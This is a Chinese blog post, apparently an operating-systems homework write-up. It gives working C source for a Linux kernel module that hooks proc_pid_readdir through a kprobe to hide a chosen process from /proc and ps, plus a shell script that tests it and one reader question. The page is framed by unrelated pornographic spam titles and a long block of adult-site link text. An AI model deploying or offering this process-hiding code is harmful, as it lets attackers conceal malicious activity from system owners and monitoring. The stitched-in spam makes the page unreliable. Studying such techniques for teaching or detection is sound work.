青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

糯米

TI DaVinci, gstreamer, ffmpeg
隨筆 - 167, 文章 - 0, 評(píng)論 - 47, 引用 - 0
數(shù)據(jù)加載中……

Linux內(nèi)核通過inline hook實(shí)現(xiàn)隱藏進(jìn)程

這是我們操作系統(tǒng)的大作業(yè)。
原理就是inline hook 那個(gè) proc 文件系統(tǒng),根目錄下的 readdir 的函數(shù)。
替換掉第三個(gè)參數(shù),filldir。
代碼爆短,60來行。
Ubuntu 10.04 測(cè)試可用。

#include <linux/kernel.h>
#include 
<linux/kprobes.h>
#include 
<linux/module.h>
#include 
<linux/moduleparam.h>
#include 
<linux/fs.h>

int register_kprobe(struct kprobe *kp);

static struct kprobe kp = {
    .symbol_name    
= "proc_pid_readdir",
}
;

static filldir_t old_filldir;
static int pid;

module_param(pid, 
int0744);

static int filldir(void * __buf, const char * name, int namlen, loff_t offset,
           u64 ino, unsigned 
int d_type)
{
    
int p;
    sscanf(name, 
"%d"&p);
    
if (p == pid)
        
return 0;
    
return old_filldir(__buf, name, namlen, offset, ino, d_type);
}



/* kprobe pre_handler: called just before the probed instruction is executed */
static int handler_pre(struct kprobe *pr, struct pt_regs *regs)
{
    old_filldir 
= (filldir_t)regs->cx;
    regs
->cx = (typeof(regs->cx))filldir;
    
return 0;
}


static int __init k_init(void)
{
    
int ret;

    kp.pre_handler 
= handler_pre;

    ret 
= register_kprobe(&kp);
    
if (ret < 0{
        printk(KERN_INFO 
"register_kprobe failed, returned %d\n", ret);
        
return ret;
    }

    printk(KERN_INFO 
"Planted kprobe at %p; pid %d\n", kp.addr, pid);

    
return 0;
}


static void __exit k_exit(void)
{
    unregister_kprobe(
&kp);
    printk(KERN_INFO 
"kprobe at %p unregistered\n", kp.addr);
}


module_init(k_init);
module_exit(k_exit);
MODULE_LICENSE(
"GPL");



sleep 1000 &
pid
=`jobs -p`
echo 
'before hide'
ps aux 
| grep $pid
insmod k.ko pid
=$pid
echo 
'after hide'
ps aux 
| grep $pid
rmmod k.ko
echo 
'after unhide'
ps aux 
| grep $pid

posted on 2011-02-23 14:58 糯米 閱讀(2307) 評(píng)論(1)  編輯 收藏 引用 所屬分類: Linux

評(píng)論

# re: Linux內(nèi)核通過inline hook實(shí)現(xiàn)隱藏進(jìn)程  回復(fù)  更多評(píng)論   

handler_pre() 函數(shù)中為什么 regs->cx 修改為hook函數(shù)就能執(zhí)行hook之后的函數(shù)?

我使用同樣的方式修改這個(gè)內(nèi)核函數(shù) usb_alloc_dev,然而regs->cx存放的并不是有效地地址,是0x00000001
2011-12-22 18:31 | quietjolt
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            免费观看国产成人| 亚洲欧美日本日韩| 国产精品成人观看视频免费| 免费影视亚洲| 欧美激情一区二区在线| 欧美日韩精品一区二区| 欧美日韩中文在线观看| 国产精品国内视频| 国产欧美日韩在线播放| 狠狠色丁香久久婷婷综合丁香| 国产一区在线观看视频| 亚洲国产福利在线| 亚洲国产视频a| 国产亚洲激情视频在线| 国产精品有限公司| 激情成人av| 亚洲美女诱惑| 欧美在线观看视频一区二区三区 | a4yy欧美一区二区三区| 亚洲香蕉成视频在线观看 | 欧美视频在线免费看| 国产伦精品一区二区三| 在线不卡中文字幕| 亚洲免费在线视频| 欧美jjzz| 午夜精品在线看| 欧美日韩精品免费在线观看视频| 国产人久久人人人人爽| 亚洲人成77777在线观看网| 先锋影音久久久| 亚洲精品久久久久久下一站| 香蕉久久国产| 欧美视频在线观看免费网址| 在线欧美电影| 久久久国产91| 午夜精品久久久久久久久 | 亚洲一区二区在线免费观看| 狂野欧美激情性xxxx欧美| 国产精品激情| 99精品国产福利在线观看免费| 久久久xxx| 午夜精品久久久久久久久久久| 欧美日韩18| 亚洲全部视频| 欧美电影在线观看完整版| 久久gogo国模裸体人体| 国产精品国产三级国产专播品爱网| 亚洲国产1区| 狂野欧美激情性xxxx| 性色av一区二区三区| 国产精品久久久久久久久动漫| 999亚洲国产精| 亚洲欧洲在线一区| 欧美激情导航| 亚洲精品欧美日韩专区| 欧美韩日亚洲| 欧美成人免费在线观看| 伊大人香蕉综合8在线视| 久久夜精品va视频免费观看| 欧美一区二区三区在线免费观看| 国产精品一区二区三区乱码| 亚洲在线一区二区三区| 亚洲图片欧洲图片日韩av| 国产精品久久久久久久久久ktv | 久久综合久久88| 亚洲一区二区三区在线视频| 国产精品igao视频网网址不卡日韩| 亚洲精品日韩精品| 亚洲精品美女在线观看| 欧美日韩久久不卡| 这里只有精品视频| 亚洲视频 欧洲视频| 国产精品专区h在线观看| 欧美一级淫片播放口| 午夜精品亚洲| 在线观看日韩国产| 亚洲国产精品久久久久婷婷老年 | 亚洲欧美日韩一区二区三区在线观看| 国产精品毛片| 久久久噜噜噜久久中文字幕色伊伊| 欧美影院成年免费版| 在线观看日韩国产| 91久久精品日日躁夜夜躁欧美| 欧美日韩三级一区二区| 午夜精品在线视频| 久久综合五月天婷婷伊人| 中国日韩欧美久久久久久久久| 亚洲视频中文| 亚洲电影专区| 亚洲一区二区三区乱码aⅴ| 国外成人在线视频网站| 亚洲国产日韩精品| 国产情人节一区| 亚洲人成欧美中文字幕| 国产欧美另类| 亚洲国产成人久久综合| 国产伦精品一区二区三区视频黑人| 久久久久五月天| 欧美女同视频| 久久躁日日躁aaaaxxxx| 欧美日韩中文字幕在线| 巨乳诱惑日韩免费av| 欧美三级在线视频| 欧美国内亚洲| 国产主播一区| 亚洲一区二区动漫| 99v久久综合狠狠综合久久| 午夜国产不卡在线观看视频| 99这里只有久久精品视频| 欧美在线一二三区| 午夜精品成人在线视频| 欧美精品一二三| 蜜桃久久av一区| 国产美女精品一区二区三区| 亚洲欧洲在线免费| 亚洲国产高清一区二区三区| 亚洲综合视频一区| 亚洲一区二区少妇| 欧美激情亚洲精品| 欧美激情亚洲激情| 亚洲电影在线免费观看| 欧美在线观看一区二区| 亚洲欧美日韩国产| 欧美视频精品在线观看| 久久精品免费电影| 亚洲在线视频观看| 欧美另类一区二区三区| 欧美大片在线看| 国际精品欧美精品| 亚洲欧美中文在线视频| 亚洲一区在线观看免费观看电影高清| 久久一区欧美| 老鸭窝91久久精品色噜噜导演| 国产伦精品一区| 亚洲欧美另类久久久精品2019| 亚洲性感美女99在线| 欧美视频你懂的| 亚洲天堂av在线免费| 亚洲主播在线观看| 国产精品一区二区你懂的| 亚洲欧美日韩系列| 久久亚洲影院| 亚洲国产婷婷综合在线精品| 久热精品视频在线观看| 欧美ab在线视频| 亚洲精品老司机| 欧美日韩国产一区二区三区地区 | 亚洲欧美日韩中文播放| 欧美系列电影免费观看| 这里是久久伊人| 欧美亚洲一级| 伊人成人在线| 欧美理论片在线观看| 亚洲视频自拍偷拍| 久久久国产精品一区| 亚洲大胆在线| 欧美日韩精品一区二区天天拍小说| 一区二区三区 在线观看视频| 午夜一区不卡| …久久精品99久久香蕉国产 | 亚洲一区二区视频| 久久精品一本| 亚洲区一区二区三区| 国产精品成人免费精品自在线观看 | 亚洲欧洲美洲综合色网| 欧美了一区在线观看| 亚洲在线中文字幕| 美女啪啪无遮挡免费久久网站| 亚洲精品国产无天堂网2021| 国产精品久久久久久一区二区三区| 亚洲自拍都市欧美小说| 亚洲春色另类小说| 亚洲男人影院| 亚洲国产精品久久久久婷婷884| 欧美日韩不卡| 久久精品一本| 一区二区三区欧美| 欧美777四色影视在线| 亚洲自拍偷拍色片视频| 亚洲高清资源| 国产一区二区毛片| 欧美特黄a级高清免费大片a级| 久久久不卡网国产精品一区| 正在播放亚洲| 亚洲国产一区在线观看| 久久视频这里只有精品| 亚洲欧美日韩一区二区三区在线| 欧美在线网站| 国产精品99免费看 | 国产原创一区二区| 欧美区在线观看| 久久夜色撩人精品| 欧美一级片久久久久久久| 亚洲三级免费电影| 欧美freesex交免费视频| 久久精品91| 欧美一级视频| 午夜精品久久久久久久久久久久| 日韩小视频在线观看| 亚洲激情综合|